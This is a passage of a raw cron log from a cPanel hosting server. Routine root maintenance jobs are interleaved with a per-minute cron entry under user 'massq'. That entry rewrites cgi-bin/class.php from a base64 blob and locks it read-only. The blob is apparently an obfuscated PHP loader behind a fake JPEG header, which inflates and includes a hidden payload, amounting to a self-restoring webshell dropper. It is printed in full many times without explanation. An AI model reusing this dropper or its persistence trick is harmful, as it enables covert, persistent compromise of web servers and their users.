YQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:08:01 server CROND[22527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:08:01 server CROND[22528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:08:01 server CROND[22529]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:09:01 server CROND[23088]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:09:01 server CROND[23089]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 06:09:01 server CROND[23091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:09:01 server CROND[23090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:10:01 server CROND[23479]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:10:01 server CROND[23481]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 06:10:01 server CROND[23482]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:10:01 server CROND[23486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:10:01 server CROND[23489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:10:01 server CROND[23488]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:10:01 server CROND[23491]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:10:01 server CROND[23487]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:11:01 server CROND[24457]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:11:01 server CROND[24456]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:11:01 server CROND[24455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:12:01 server CROND[24907]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:12:01 server CROND[24908]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 06:12:01 server CROND[24909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:12:01 server CROND[24910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:13:01 server CROND[25309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:13:01 server CROND[25308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:13:01 server CROND[25310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:14:01 server CROND[25699]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:14:01 server CROND[25700]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:14:01 server CROND[25701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:15:01 server CROND[26114]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 06:15:01 server CROND[26115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:15:01 server CROND[26118]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  7 06:15:01 server CROND[26122]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep  7 06:15:01 server CROND[26123]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:15:01 server CROND[26125]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  7 06:15:01 server CROND[26121]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:15:01 server CROND[26130]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 06:15:01 server CROND[26120]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 06:15:01 server CROND[26124]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  7 06:16:01 server CROND[27086]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:16:01 server CROND[27087]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:16:01 server CROND[27088]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:17:01 server CROND[27464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:17:01 server CROND[27465]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:17:01 server CROND[27466]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:18:01 server CROND[27893]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  7 06:18:01 server CROND[27894]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 06:18:01 server CROND[27902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:19:01 server CROND[28252]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 06:19:01 server CROND[28254]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
